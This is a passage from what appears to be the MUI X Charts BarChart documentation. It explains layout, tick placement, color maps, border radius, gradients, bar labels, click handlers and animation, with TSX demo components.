    <div style={{ width: '100%' }}>
      <Typography>Netflix balance sheet</Typography>
      <BarChart
        dataset={balanceSheet}
        series={addLabels([
          { dataKey: 'currAss', stack: 'assets' },
          { dataKey: 'nCurrAss', stack: 'assets' },
          { dataKey: 'curLia', stack: 'liability' },
          { dataKey: 'nCurLia', stack: 'liability' },
          { dataKey: 'capStock', stack: 'equity' },
          { dataKey: 'retEarn', stack: 'equity' },
          { dataKey: 'treas', stack: 'equity' },
        ])}
        xAxis={[{ dataKey: 'year' }]}
        {...config}
      />
    </div>
  );
}

const config: Partial<BarChartProps> = {
  height: 350,
  margin: { left: 0 },
  yAxis: [{ width: 50, valueFormatter }],
  hideLegend: true,
};

```

### Stacking strategy

You can use the `stackOffset` and `stackOrder` properties to define how the series will be stacked.

By default, they are stacked in the order you defined them, with positive values stacked above 0 and negative values stacked below 0.

For more information, see [stacking docs](/x/react-charts/stacking/).

## Layout

### Bar direction

Bar charts can be rendered with a horizontal layout by providing the `layout="horizontal"` prop.
If you're using [composition](/x/react-charts/composition/), you should set the property `layout: 'horizontal'` to each bar series object.

```tsx
import { BarChart } from '@mui/x-charts/BarChart';
import { dataset, valueFormatter } from '../dataset/weather';

const chartSetting = {
  xAxis: [
    {
      label: 'rainfall (mm)',
    },
  ],
  height: 400,
  margin: { left: 0 },
};

export default function HorizontalBars() {
  return (
    <BarChart
      dataset={dataset}
      yAxis={[{ scaleType: 'band', dataKey: 'month' }]}
      series={[{ dataKey: 'seoul', label: 'Seoul rainfall', valueFormatter }]}
      layout="horizontal"
      {...chartSetting}
    />
  );
}

```

### Tick placement

When using a `"band"` scale, the axis has some additional customization properties about the tick position.

- `tickPlacement` for the position of ticks
- `tickLabelPlacement` for the position of the label associated with the tick

You can test all configuration options in the following demo:

```tsx
import * as React from 'react';
import Stack from '@mui/material/Stack';
import FormControl from '@mui/material/FormControl';
import FormLabel from '@mui/material/FormLabel';
import RadioGroup from '@mui/material/RadioGroup';
import FormControlLabel from '@mui/material/FormControlLabel';
import Radio from '@mui/material/Radio';
import { BarChart } from '@mui/x-charts/BarChart';
import { dataset, valueFormatter } from '../dataset/weather';

type TickParamsSelectorProps = {
  tickPlacement: 'end' | 'start' | 'middle' | 'extremities';
  tickLabelPlacement: 'tick' | 'middle';
  setTickPlacement: React.Dispatch<
    React.SetStateAction<'end' | 'start' | 'middle' | 'extremities'>
  >;
  setTickLabelPlacement: React.Dispatch<React.SetStateAction<'tick' | 'middle'>>;
};

function TickParamsSelector({
  tickPlacement,
  tickLabelPlacement,
  setTickPlacement,
  setTickLabelPlacement,
}: TickParamsSelectorProps) {
  return (
    <Stack direction="column" justifyContent="space-between" sx={{ width: '100%' }}>
      <FormControl>
        <FormLabel id="tick-placement-radio-buttons-group-label">
          tickPlacement
        </FormLabel>
        <RadioGroup
          row
          aria-labelledby="tick-placement-radio-buttons-group-label"
          name="tick-placement"
          value={tickPlacement}
          onChange={(event) =>
            setTickPlacement(
              event.target.value as 'start' | 'end' | 'middle' | 'extremities',
            )
          }
        >
          <FormControlLabel value="start" control={<Radio />} label="start" />
          <FormControlLabel value="end" control={<Radio />} label="end" />
          <FormControlLabel value="middle" control={<Radio />} label="middle" />
          <FormControlLabel
            value="extremities"
            control={<Radio />}
            label="extremities"
          />
        </RadioGroup>
      </FormControl>
      <FormControl>
        <FormLabel id="label-placement-radio-buttons-group-label">
          tickLabelPlacement
        </FormLabel>
        <RadioGroup
          row
          aria-labelledby="label-placement-radio-buttons-group-label"
          name="label-placement"
          value={tickLabelPlacement}
          onChange={(event) =>
            setTickLabelPlacement(event.target.value as 'tick' | 'middle')
          }
        >
          <FormControlLabel value="tick" control={<Radio />} label="tick" />
          <FormControlLabel value="middle" control={<Radio />} label="middle" />
        </RadioGroup>
      </FormControl>
    </Stack>
  );
}

const chartSetting = {
  yAxis: [
    {
      label: 'rainfall (mm)',
      width: 60,
    },
  ],
  series: [{ dataKey: 'seoul', label: 'Seoul rainfall', valueFormatter }],
  height: 300,
  margin: { left: 0 },
};

export default function TickPlacementBars() {
  const [tickPlacement, setTickPlacement] = React.useState<
    'start' | 'end' | 'middle' | 'extremities'
  >('middle');
  const [tickLabelPlacement, setTickLabelPlacement] = React.useState<
    'middle' | 'tick'
  >('middle');

  return (
    <div style={{ width: '100%' }}>
      <TickParamsSelector
        tickPlacement={tickPlacement}
        tickLabelPlacement={tickLabelPlacement}
        setTickPlacement={setTickPlacement}
        setTickLabelPlacement={setTickLabelPlacement}
      />
      <BarChart
        dataset={dataset}
        xAxis={[{ dataKey: 'month', tickPlacement, tickLabelPlacement }]}
        {...chartSetting}
      />
    </div>
  );
}

```

### Date axis

If your band axis represents dates in a usual way (they are sorted and evenly spaced), you can set `ordinalTimeTicks` to pick some date frequencies.
This modifies the [tick management](/x/react-charts/axis/#ordinal-tick-management).

Instead of one tick per band, the axis renders ticks according to the provided frequencies and the tick number.

### Minimum bar size

You can set a minimum bar size with the `minBarSize` property.
This property is useful when you want to ensure that bars are always visible, even when the data is sparse or the chart is small.

The `minBarSize` property is ignored if the series value is `null` or `0`.
It also doesn't work with stacked series.

```tsx
import * as React from 'react';
import Stack from '@mui/material/Stack';
import Typography from '@mui/material/Typography';
import Slider from '@mui/material/Slider';
import { BarChart } from '@mui/x-charts/BarChart';

// Create sparse data where some bars would be very small
const sparseData: (number | null)[] = [0.02, 5, null, 7, 0.01, 0, -0.03];

export default function MinBarSize(): React.JSX.Element {
  const [minBarSize, setMinBarSize] = React.useState<number>(10);

  const handleChange = (event: Event, newValue: number | number[]) => {
    if (typeof newValue !== 'number') {
      return;
    }
    setMinBarSize(newValue);
  };

  return (
    <Stack spacing={2} justifyContent={'center'} alignItems={'center'}>
      <Typography id="min-bar-size-slider" gutterBottom>
        minBarSize: {minBarSize}px
      </Typography>
      <Slider
        value={minBarSize}
        onChange={handleChange}
        aria-labelledby="min-bar-size-slider"
        min={0}
        max={50}
        sx={{ width: 300 }}
      />
      <BarChart
        xAxis={[{ data: sparseData.map((v) => `${v}`), scaleType: 'band' }]}
        series={[{ data: sparseData, minBarSize }]}
        height={300}
        width={400}
      />
    </Stack>
  );
}

```

### Log scale

A bar chart renders a bar from 0 to the value of a data point. However, the logarithm of zero is undefined, meaning that a y-axis with a log scale cannot plot the bar.

You can work around this limitation by using a [symlog scale](/x/react-charts/axis/#symlog-scale).

## Customization

### Grid

You can add a grid in the background of the chart with the `grid` prop.

See [Axis—Grid](/x/react-charts/axis/#grid) documentation for more information.

```tsx
import { BarChart } from '@mui/x-charts/BarChart';
import { dataset, valueFormatter } from '../dataset/weather';

const chartSetting = {
  xAxis: [{ label: 'rainfall (mm)' }],
  height: 400,
  margin: { left: 0 },
};

export default function GridDemo() {
  return (
    <BarChart
      dataset={dataset}
      yAxis={[{ scaleType: 'band', dataKey: 'month' }]}
      series={[{ dataKey: 'seoul', label: 'Seoul rainfall', valueFormatter }]}
      layout="horizontal"
      grid={{ vertical: true }}
      {...chartSetting}
    />
  );
}

```

### Color scale

As with other charts, you can modify the [series color](/x/react-charts/styling/#colors) either directly, or with the color palette.

You can also modify the color by using axes `colorMap` which maps values to colors.
The bar charts use by priority:

1. The value axis color
2. The band axis color
3. The series color

Learn more about the `colorMap` properties in the [Styling docs](/x/react-charts/styling/#values-color).

```tsx
import * as React from 'react';
import { BarChart } from '@mui/x-charts/BarChart';
import Stack from '@mui/material/Stack';
import TextField from '@mui/material/TextField';
import MenuItem from '@mui/material/MenuItem';
import { HighlightedCode } from '@mui/docs/HighlightedCode';

const series = [{ data: [-2, -9, 12, 11, 6, -4] }];

export default function ColorScale() {
  const [colorX, setColorX] = React.useState<
    'None' | 'piecewise' | 'continuous' | 'ordinal'
  >('piecewise');
  const [colorY, setColorY] = React.useState<'None' | 'piecewise' | 'continuous'>(
    'None',
  );

  return (
    <Stack direction="column" spacing={1} sx={{ width: '100%', maxWidth: 600 }}>
      <Stack direction="row" spacing={1}>
        <TextField
          select
          sx={{ minWidth: 150 }}
          label="x-axis colorMap"
          value={colorX}
          onChange={(event) =>
            setColorX(
              event.target.value as 'None' | 'piecewise' | 'continuous' | 'ordinal',
            )
          }
        >
          <MenuItem value="None">None</MenuItem>
          <MenuItem value="piecewise">piecewise</MenuItem>
          <MenuItem value="continuous">continuous</MenuItem>
          <MenuItem value="ordinal">ordinal</MenuItem>
        </TextField>
        <TextField
          select
          sx={{ minWidth: 150 }}
          label="y-axis colorMap"
          value={colorY}
          onChange={(event) =>
            setColorY(event.target.value as 'None' | 'piecewise' | 'continuous')
          }
        >
          <MenuItem value="None">None</MenuItem>
          <MenuItem value="piecewise">piecewise</MenuItem>
          <MenuItem value="continuous">continuous</MenuItem>
        </TextField>
      </Stack>

      <BarChart
        height={300}
        grid={{ horizontal: true }}
        series={series}
        yAxis={[
          {
            colorMap:
              (colorY === 'continuous' && {
                type: 'continuous',
                min: -10,
                max: 10,
                color: ['red', 'green'],
              }) ||
              (colorY === 'piecewise' && {
                type: 'piecewise',
                thresholds: [0],
                colors: ['red', 'green'],
              }) ||
              undefined,
          },
        ]}
        xAxis={[
          {
            data: [
              new Date(2019, 1, 1),
              new Date(2020, 1, 1),
              new Date(2021, 1, 1),
              new Date(2022, 1, 1),
              new Date(2023, 1, 1),
              new Date(2024, 1, 1),
            ],
            valueFormatter: (value: Date) => value.getFullYear().toString(),
            colorMap:
              (colorX === 'ordinal' && {
                type: 'ordinal',
                colors: [
                  '#ccebc5',
                  '#a8ddb5',
                  '#7bccc4',
                  '#4eb3d3',
                  '#2b8cbe',
                  '#08589e',
                ],
              }) ||
              (colorX === 'continuous' && {
                type: 'continuous',
                min: new Date(2019, 1, 1),
                max: new Date(2024, 1, 1),
                color: ['green', 'orange'],
              }) ||
              (colorX === 'piecewise' && {
                type: 'piecewise',
                thresholds: [new Date(2021, 1, 1), new Date(2023, 1, 1)],
                colors: ['blue', 'red', 'blue'],
              }) ||
              undefined,
          },
        ]}
        margin={{ left: 0 }}
      />
      <HighlightedCode
        code={[
          `<BarChart`,
          '  /* ... */',
          // ColorX
          ...(colorX === 'None' ? ['  xAxis={[{}]}'] : []),
          ...(colorX === 'ordinal'
            ? [
                '  xAxis={[{',
                `    colorMap: {`,
                `      type: 'ordinal',`,
                `      colors: ['#ccebc5', '#a8ddb5', '#7bccc4', '#4eb3d3', '#2b8cbe', '#08589e']`,
                `    }`,
                '  }]}',
              ]
            : []),
          ...(colorX === 'continuous'
            ? [
                '  xAxis={[{',
                `    colorMap: {`,
                `      type: 'continuous',`,
                `      min: new Date(2019, 1, 1),`,
                `      max: new Date(2024, 1, 1),`,
                `      color: ['green', 'orange']`,
                `    }`,
                '  }]}',
              ]
            : []),
          ...(colorX === 'piecewise'
            ? [
                '  xAxis={[{',
                `    colorMap: {`,
                `      type: 'piecewise',`,
                `      thresholds: [new Date(2021, 1, 1), new Date(2023, 1, 1)],`,
                `      colors: ['blue', 'red', 'blue'],`,
                `    }`,
                '  }]}',
              ]
            : []),

          // ColorY
          ...(colorY === 'None' ? ['  yAxis={[{}]}'] : []),
          ...(colorY === 'continuous'
            ? [
                '  yAxis={[{',
                `    colorMap: {`,
                `      type: 'continuous',`,
                `      min: -10,`,
                `      max: 10,`,
                `      color: ['red', 'green'],`,
                `    }`,
                '  }]}',
              ]
            : []),
          ...(colorY === 'piecewise'
            ? [
                '  yAxis={[{',
                `    colorMap: {`,
                `      type: 'piecewise',`,
                `      thresholds: [0],`,
                `      colors: ['red', 'green'],`,
                `    }`,
                '  }]}',
              ]
            : []),
          `/>`,
        ].join('\n')}
        language="jsx"
        copyButtonHidden
      />
    </Stack>
  );
}

```

### Border radius

To give your bar chart rounded corners, you can change the value of the `borderRadius` property on the [BarChart](/x/api/charts/bar-chart/#bar-chart-prop-slots).

It works with any positive value and is properly applied to horizontal layouts, stacks, and negative values.

When using composition, you can set the `borderRadius` prop on the `BarPlot` component.

```tsx
import * as React from 'react';
import { BarChart, BarChartProps } from '@mui/x-charts/BarChart';
import Stack from '@mui/material/Stack';
import { HighlightedCode } from '@mui/docs/HighlightedCode';
import TextField from '@mui/material/TextField';
import MenuItem from '@mui/material/MenuItem';
import Slider from '@mui/material/Slider';
import Typography from '@mui/material/Typography';
import Checkbox from '@mui/material/Checkbox';
import FormControlLabel from '@mui/material/FormControlLabel';

export default function BorderRadius() {
  const [layout, setLayout] = React.useState<'horizontal' | 'vertical'>('vertical');
  const [radius, setRadius] = React.useState(10);
  const [reverse, setReverse] = React.useState(false);

  return (
    <Stack direction="column" spacing={1} sx={{ width: '100%', maxWidth: 600 }}>
      <Stack direction="row" spacing={4} flexWrap="wrap" justifyContent="center">
        <Stack direction="column" spacing={1} flex={1}>
          <Typography gutterBottom>Border Radius</Typography>
          <Slider
            value={radius}
            onChange={(event, value) => setRadius(value as number)}
            valueLabelDisplay="auto"
            min={0}
            max={50}
            sx={{ mt: 2 }}
          />
        </Stack>
        <TextField
          select
          sx={{ minWidth: 150 }}
          label="layout"
          value={layout}
          onChange={(event) =>
            setLayout(event.target.value as 'horizontal' | 'vertical')
          }
        >
          <MenuItem value="horizontal">Horizontal</MenuItem>
          <MenuItem value="vertical">Vertical</MenuItem>
        </TextField>
        <FormControlLabel
          checked={reverse}
          control={
            <Checkbox onChange={(event) => setReverse(event.target.checked)} />
          }
          label="Reverse"
          labelPlacement="end"
        />
      </Stack>
      <BarChart
        series={[
          { dataKey: 'high', label: 'High', layout, stack: 'stack' },
          { dataKey: 'low', label: 'Low', layout, stack: 'stack' },
        ]}
        margin={{ left: 0 }}
        {...getChartSettings(layout, reverse)}
        borderRadius={radius}
      />
      <HighlightedCode
        code={`<BarChart
  // ...
  borderRadius={${radius}}
/>`}
        language="jsx"
        copyButtonHidden
      />
    </Stack>
  );
}

const dataset = [
  [3, -7, '1st'],
  [0, -5, '2nd'],
  [10, 0, '3rd'],
  [9, 6, '4th'],
].map(([high, low, order]) => ({
  high,
  low,
  order,
}));

function getChartSettings(
  layout: 'vertical' | 'horizontal',
  reverse: boolean,
): Partial<BarChartProps> {
  return {
    dataset,
    height: 300,
    xAxis: layout === 'horizontal' ? [{ reverse }] : [{ dataKey: 'order' }],
    yAxis:
      layout === 'horizontal'
        ? [{ scaleType: 'band', dataKey: 'order' }]
        : [{ reverse }],
    slotProps: {
      legend: {
        direction: 'horizontal',
        position: { vertical: 'bottom', horizontal: 'center' },
      },
    },
  };
}

```

### CSS

You can customize the bar chart elements using CSS selectors.

Each series renders a `g` element that contains a `data-series` attribute.
You can use this attribute to target elements based on their series.

```tsx
import * as React from 'react';
import {
  BarChart,
  barClasses,
  barElementClasses,
  barLabelClasses,
} from '@mui/x-charts/BarChart';

const settings = {
  xAxis: [{ data: ['group A', 'group B', 'group C'] }],
  series: [
    { id: '1', data: [4, 3, 5] },
    { id: '2', data: [1, 6, 3] },
    { id: '3', data: [2, 5, 6] },
  ],
  height: 300,
  barLabel: 'value',
  margin: { left: 0 },
} as const;

export default function BarGradient() {
  return (
    <BarChart
      {...settings}
      sx={{
        [`& .${barClasses.series}[data-series="2"] .${barElementClasses.root}`]: {
          fill: 'url(#bar-gradient)',
        },
        [`& .${barClasses.seriesLabels}[data-series="2"] .${barLabelClasses.root}`]:
          {
            fontWeight: 'bold',
          },
      }}
    >
      <defs>
        <Gradient id="bar-gradient" />
      </defs>
    </BarChart>
  );
}

function Gradient(props: React.SVGProps<SVGLinearGradientElement>) {
  return (
    <linearGradient gradientTransform="rotate(90)" {...props}>
      <stop offset="5%" stopColor="gold" />
      <stop offset="95%" stopColor="red" />
    </linearGradient>
  );
}

```

### Gradients

By default, a gradient's units are set to [`objectBoundingBox`](https://developer.mozilla.org/en-US/docs/Web/SVG/Reference/Attribute/gradientUnits#objectboundingbox).
When applied to a bar, the gradient stretches to fill the entire size of the bar, regardless of the bar's value.

Alternatively, you can set `gradientUnits` to `userSpaceOnUse`, which stretches the gradient to fill the entire size of the chart.
`userSpaceOnUse` means that the gradient's coordinates are relative to the SVG, meaning that a gradient with `x1="0"` and `x2="100%"` stretches across the entire width of the SVG.
This effectively reveals the gradient depending on the bar's value, as the gradient is clipped to the bar's size.

```tsx
import * as React from 'react';
import { BarChart, BarChartProps, barElementClasses } from '@mui/x-charts/BarChart';
import Stack from '@mui/material/Stack';
import Typography from '@mui/material/Typography';
import FormControl from '@mui/material/FormControl';
import FormLabel from '@mui/material/FormLabel';
import RadioGroup from '@mui/material/RadioGroup';
import FormControlLabel from '@mui/material/FormControlLabel';
import Radio from '@mui/material/Radio';
import { countryData } from '../dataset/countryData';
import householdSavings from '../dataset/oecdHouseholdSavings2024.json';

/* Source: https://www.oecd.org/en/data/indicators/household-savings.html */
const savings = Object.entries(householdSavings)
  .map(([country, value]) => ({
    country,
    value,
  }))
  .sort((a, b) => a.value - b.value);

const percentageFormatter = new Intl.NumberFormat('en-US', {
  style: 'percent',
  maximumFractionDigits: 1,
});

const settings = {
  height: 600,
  xAxis: [{ label: 'Household Savings (%)' }],
  layout: 'horizontal',
  hideLegend: true,
} satisfies Partial<BarChartProps>;

export default function BarOECDHouseholdSavings() {
  const [gradientUnits, setGradientUnits] = React.useState<
    'objectBoundingBox' | 'userSpaceOnUse'
  >('userSpaceOnUse');

  return (
    <Stack width="100%">
      <Typography variant="h6" textAlign="center">
        Household Savings in OECD Countries (2016)
      </Typography>

      <FormControl fullWidth>
        <FormLabel id="gradient-units-label">Gradient Units</FormLabel>
        <RadioGroup
          row
          aria-labelledby="gradient-units-label"
          name="gradient-units"
          value={gradientUnits}
          onChange={(event) =>
            setGradientUnits(
              event.target.value as 'objectBoundingBox' | 'userSpaceOnUse',
            )
          }
        >
          <FormControlLabel
            value="objectBoundingBox"
            control={<Radio />}
            label="objectBoundingBox (default)"
          />
          <FormControlLabel
            value="userSpaceOnUse"
            control={<Radio />}
            label="userSpaceOnUse"
          />
        </RadioGroup>
      </FormControl>

      <BarChart
        {...settings}
        yAxis={[
          {
            data: savings.map((v) => v.country),
            valueFormatter: (value: keyof typeof countryData) =>
              countryData[value].country,
            width: 100,
          },
        ]}
        series={[
          {
            label: 'Household Savings',
            data: savings.map((v) => v.value),
            color: 'url(#savings-gradient)',
            valueFormatter: (value) => percentageFormatter.format(value! / 100),
          },
        ]}
        sx={
          gradientUnits === 'userSpaceOnUse'
            ? {
                [`.${barElementClasses.root}`]: {
                  fill: 'url(#savings-gradient-user-space)',
                },
              }
            : undefined
        }
      >
        <Gradient id="savings-gradient" x1="0" x2="100%" />
        <Gradient
          id="savings-gradient-user-space"
          gradientUnits="userSpaceOnUse"
          x1="150"
          x2="100%"
        />
      </BarChart>
      <Typography variant="caption">Source: Our World in Data</Typography>
    </Stack>
  );
}

function Gradient(props: React.SVGProps<SVGLinearGradientElement>) {
  return (
    <linearGradient x1="0" y1="0%" x2="100%" y2="0%" {...props}>
      <stop offset="0" stopColor="#ff2f1b" />
      <stop offset="0.5" stopColor="#fce202" />
      <stop offset="1" stopColor="#02b32b" />
    </linearGradient>
  );
}

```

Note that, in the example above, there are two gradients:

- The series `color` property references the gradient with `gradientUnits="objectBoundingBox"`, which is applied to the tooltip, legend, and other elements that reference the series color.
- The bar's `fill` property is overridden using CSS to reference the gradient with `gradientUnits="userSpaceOnUse"`.

The first gradient is used for elements showing the whole gradient, such as tooltips and legend.
The second one is shown in the bars themselves that display the part of the gradient that corresponds to their value.

## Labels

You can display labels on the bars. This can be useful to show the value of each bar directly on the chart.

If you provide `'value'` to the `barLabel` property of a bar series, the value of that bar is shown.
Alternatively, the `barLabel` property accepts a function that is called with the bar item and context about the bar.

In the example below, the value of the first series is displayed using the default formatter, and format the value of the second series as US dollars. The labels of the third series are hidden.

```tsx
import { BarChart } from '@mui/x-charts/BarChart';

const dollarFormatter = new Intl.NumberFormat('en-US', {
  style: 'currency',
  currency: 'USD',
  maximumFractionDigits: 0,
});

export default function BarLabel() {
  return (
    <BarChart
      xAxis={[{ data: ['group A', 'group B', 'group C'] }]}
      series={[
        { data: [4, 3, 5], barLabel: 'value' },
        {
          data: [1, 6, 3],
          barLabel: (item) => dollarFormatter.format(item.value!),
        },
        { data: [2, 5, 6] },
      ]}
      height={300}
      margin={{ left: 0 }}
      yAxis={[{ width: 30 }]}
    />
  );
}

```

### Label placement

The position of the bar label can be customized.
To do so, set a series' `barLabelPlacement` property to one of the following values:

- `center`: the label is centered on the bar;
- `outside`: the label is placed after the end of the bar, from the point of the view of the origin. For a vertical positive bar, the label is above its top edge; for a horizontal negative bar, the label is placed to the left of its leftmost limit.

```tsx
import { BarChart } from '@mui/x-charts/BarChart';

export default function BarLabelPlacement() {
  return (
    <BarChart
      xAxis={[{ data: ['group A', 'group B', 'group C'] }]}
      series={[
        { data: [1, 1, -4], barLabel: 'value', barLabelPlacement: 'outside' },
        { data: [2, 0, -1], barLabel: 'value', barLabelPlacement: 'center' },
        { data: [3, -1, 4], barLabel: 'value' },
      ]}
      height={300}
      yAxis={[{ width: 30, min: -5 }]}
    />
  );
}

```

:::info
When using `outside` placement, if the label does not fit in the chart area, it will be clipped.
To avoid this, you can decrease/increase the axis min/max respectively so that there's enough space for the labels.
:::

### Custom labels

You can display, change, or hide labels based on conditional logic.
To do so, provide a function to the `barLabel`.
Labels are not displayed if the function returns `null`.

In the example we display a `'High'` text on values higher than 10, and hide values when the generated bar height is lower than 60px.

```tsx
import { BarChart } from '@mui/x-charts/BarChart';

export default function CustomLabels() {
  return (
    <BarChart
      series={[
        { data: [4, 2, 5, 4, 1], stack: 'A', label: 'Series A1' },
        { data: [2, 8, 1, 3, 1], stack: 'A', label: 'Series A2' },
        { data: [14, 6, 5, 8, 9], label: 'Series B1' },
      ]}
      barLabel={(item, context) => {
        if ((item.value ?? 0) > 10) {
          return 'High';
        }
        return context.bar.height < 60 ? null : item.value?.toString();
      }}
      height={350}
      margin={{ left: 0 }}
    />
  );
}

```

You can further customize the labels by providing a component to the `barLabel` slot.

In the example below, we position the labels above the bars they refer to.

```tsx
import { useAnimate } from '@mui/x-charts/hooks';
import { ChartContainer } from '@mui/x-charts/ChartContainer';
import { BarLabelProps, BarPlot } from '@mui/x-charts/BarChart';
import { ChartsXAxis } from '@mui/x-charts/ChartsXAxis';
import { ChartsYAxis } from '@mui/x-charts/ChartsYAxis';
import { styled } from '@mui/material/styles';
import { interpolateObject } from '@mui/x-charts-vendor/d3-interpolate';

export default function LabelsAboveBars() {
  return (
    <ChartContainer
      xAxis={[{ scaleType: 'band', data: ['A', 'B', 'C'] }]}
      series={[{ type: 'bar', id: 'base', data: [5, 17, 11] }]}
      height={400}
      yAxis={[{ width: 30 }]}
      margin={{ left: 0, right: 10 }}
    >
      <BarPlot barLabel="value" slots={{ barLabel: BarLabel }} />
      <ChartsXAxis />
      <ChartsYAxis />
    </ChartContainer>
  );
}

const Text = styled('text')(({ theme }) => ({
  ...theme?.typography?.body2,
  stroke: 'none',
  fill: (theme.vars || theme)?.palette?.text?.primary,
  transition: 'opacity 0.2s ease-in, fill 0.2s ease-in',
  textAnchor: 'middle',
  dominantBaseline: 'central',
  pointerEvents: 'none',
}));

function BarLabel(props: BarLabelProps) {
  const {
    seriesId,
    dataIndex,
    color,
    isFaded,
    isHighlighted,
    classes,
    xOrigin,
    yOrigin,
    x,
    y,
    width,
    height,
    layout,
    skipAnimation,
    ...otherProps
  } = props;

  const animatedProps = useAnimate(
    { x: x + width / 2, y: y - 8 },
    {
      initialProps: { x: x + width / 2, y: yOrigin },
      createInterpolator: interpolateObject,
      transformProps: (p) => p,
      applyProps: (element: SVGTextElement, p) => {
        element.setAttribute('x', p.x.toString());
        element.setAttribute('y', p.y.toString());
      },
      skip: skipAnimation,
    },
  );

  return (
    <Text {...otherProps} fill={color} textAnchor="middle" {...animatedProps} />
  );
}

```

## Click event

Bar charts provides two click handlers:

- `onItemClick` for click on a specific bar.
- `onAxisClick` for a click anywhere in the chart

They both provide the following signature.

```js
const clickHandler = (
  event, // The mouse event.
  params, // An object that identifies the clicked elements.
) => {};
```

```tsx
import * as React from 'react';
import Stack from '@mui/material/Stack';
import Box from '@mui/material/Box';
import Typography from '@mui/material/Typography';
import IconButton from '@mui/material/IconButton';
import UndoOutlinedIcon from '@mui/icons-material/UndoOutlined';

import { BarChart } from '@mui/x-charts/BarChart';

import { HighlightedCode } from '@mui/docs/HighlightedCode';
import { BarItemIdentifier, ChartsAxisData } from '@mui/x-charts/models';

const barChartsParams = {
  series: [
    {
      id: 'series-1',
      data: [3, 4, 1, 6, 5],
      label: 'A',
      stack: 'total',
      highlightScope: {
        highlight: 'item',
      },
    },
    {
      id: 'series-2',
      data: [4, 3, 1, 5, 8],
      label: 'B',
      stack: 'total',
      highlightScope: {
        highlight: 'item',
      },
    },
    {
      id: 'series-3',
      data: [4, 2, 5, 4, 1],
      label: 'C',
      highlightScope: {
        highlight: 'item',
      },
    },
  ],
  xAxis: [{ data: ['0', '3', '6', '9', '12'], id: 'axis1' }],
  height: 400,
  margin: { left: 0 },
} as const;

export default function BarClick() {
  const [itemData, setItemData] = React.useState<BarItemIdentifier>();
  const [axisData, setAxisData] = React.useState<ChartsAxisData | null>();

  return (
    <Stack
      direction={{ xs: 'column', md: 'row' }}
      spacing={{ xs: 0, md: 4 }}
      sx={{ width: '100%' }}
    >
      <Box sx={{ flexGrow: 1 }}>
        <BarChart
          {...barChartsParams}
          onItemClick={(event, d) => setItemData(d)}
          onAxisClick={(event, d) => setAxisData(d)}
        />
      </Box>

      <Stack direction="column" sx={{ width: { xs: '100%', md: '40%' } }}>
        <Box
          sx={{
            display: 'flex',
            justifyContent: 'space-between',
            alignItems: 'center',
          }}
        >
          <Typography>Click on the chart</Typography>
          <IconButton
            aria-label="reset"
            size="small"
            onClick={() => {
              setItemData(undefined);
              setAxisData(null);
            }}
          >
            <UndoOutlinedIcon fontSize="small" />
          </IconButton>
        </Box>
        <HighlightedCode
          code={`// Data from item click
${itemData ? JSON.stringify(itemData, null, 2) : '// The data will appear here'}

// Data from axis click
${axisData ? JSON.stringify(axisData, null, 2) : '// The data will appear here'}
`}
          language="json"
          copyButtonHidden
        />
      </Stack>
    </Stack>
  );
}

```

:::info
There is a slight difference between the `event` of `onItemClick` and `onAxisClick`:

- For `onItemClick` it's a React synthetic mouse event emitted by the bar component.
- For `onAxisClick` it's a native mouse event emitted by the svg component.

:::

If you're composing a custom component, you can incorporate click events as shown in the code snippet below.
Note that `onAxisClick` can handle both bar and line series if you mix them.

```jsx
<ChartContainer onAxisClick={onAxisClick}>
  {/* ... */}
  <BarPlot onItemClick={onItemClick} />
</ChartContainer>
```

## Animation

Chart containers respect [`prefers-reduced-motion`](https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/At-rules/@media/prefers-reduced-motion), but you can also disable animations manually by setting the `skipAnimation` prop to `true`.

When `skipAnimation` is enabled, the chart renders without any animations.

```jsx
// For a single component chart
<BarChart skipAnimation />

// For a composed chart
<ChartContainer>
  <BarPlot skipAnimation />
</ChartContainer>
```

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import Typography from '@mui/material/Typography';
import Slider from '@mui/material/Slider';
import FormControlLabel from '@mui/material/FormControlLabel';
import Checkbox from '@mui/material/Checkbox';
import { BarChart } from '@mui/x-charts/BarChart';
import { HighlightScope } from '@mui/x-charts/context';

export default function BarAnimation() {
  const [seriesNb, setSeriesNb] = React.useState(2);
  const [itemNb, setItemNb] = React.useState(5);
  const [skipAnimation, setSkipAnimation] = React.useState(false);

  const handleItemNbChange = (event: Event, newValue: number | number[]) => {
    if (typeof newValue !== 'number') {
      return;
    }
    setItemNb(newValue);
  };
  const handleSeriesNbChange = (event: Event, newValue: number | number[]) => {
    if (typeof newValue !== 'number') {
      return;
    }
    setSeriesNb(newValue);
  };

  return (
    <Box sx={{ width: '100%' }}>
      <BarChart
        height={300}
        series={series
          .slice(0, seriesNb)
          .map((s) => ({ ...s, data: s.data.slice(0, itemNb) }))}
        skipAnimation={skipAnimation}
        margin={{ left: 0 }}
      />
      <FormControlLabel
        checked={skipAnimation}
        control={
          <Checkbox onChange={(event) => setSkipAnimation(event.target.checked)} />
        }
        label="skipAnimation"
        labelPlacement="end"
      />
      <Typography id="input-item-number" gutterBottom>
        Number of items
      </Typography>
      <Slider
        value={itemNb}
        onChange={handleItemNbChange}
        valueLabelDisplay="auto"
        min={1}
        max={20}
        aria-labelledby="input-item-number"
      />
      <Typography id="input-series-number" gutterBottom>
        Number of series
      </Typography>
      <Slider
        value={seriesNb}
        onChange={handleSeriesNbChange}
        valueLabelDisplay="auto"
        min={1}
        max={10}
        aria-labelledby="input-series-number"
      />
    </Box>
  );
}

const highlightScope: HighlightScope = {
  highlight: 'series',
  fade: 'global',
};

const series = [
  {
    label: 'series 1',
    data: [
      2423, 2210, 764, 1879, 1478, 1373, 1891, 2171, 620, 1269, 724, 1707, 1188,
      1879, 626, 1635, 2177, 516, 1793, 1598,
    ],
  },
  {
    label: 'series 2',
    data: [
      2362, 2254, 1962, 1336, 586, 1069, 2194, 1629, 2173, 2031, 1757, 862, 2446,
      910, 2430, 2300, 805, 1835, 1684, 2197,
    ],
  },
  {
    label: 'series 3',
    data: [
      1145, 1214, 975, 2266, 1768, 2341, 747, 1282, 1780, 1766, 2115, 1720, 1057,
      2000, 1716, 2253, 619, 1626, 1209, 1786,
    ],
  },
  {
    label: 'series 4',
    data: [
      2361, 979, 2430, 1768, 1913, 2342, 1868, 1319, 1038, 2139, 1691, 935, 2262,
      1580, 692, 1559, 1344, 1442, 1593, 1889,
    ],
  },
  {
    label: 'series 5',
    data: [
      968, 1371, 1381, 1060, 1327, 934, 1779, 1361, 878, 1055, 1737, 2380, 875, 2408,
      1066, 1802, 1442, 1567, 1552, 1742,
    ],
  },
  {
    label: 'series 6',
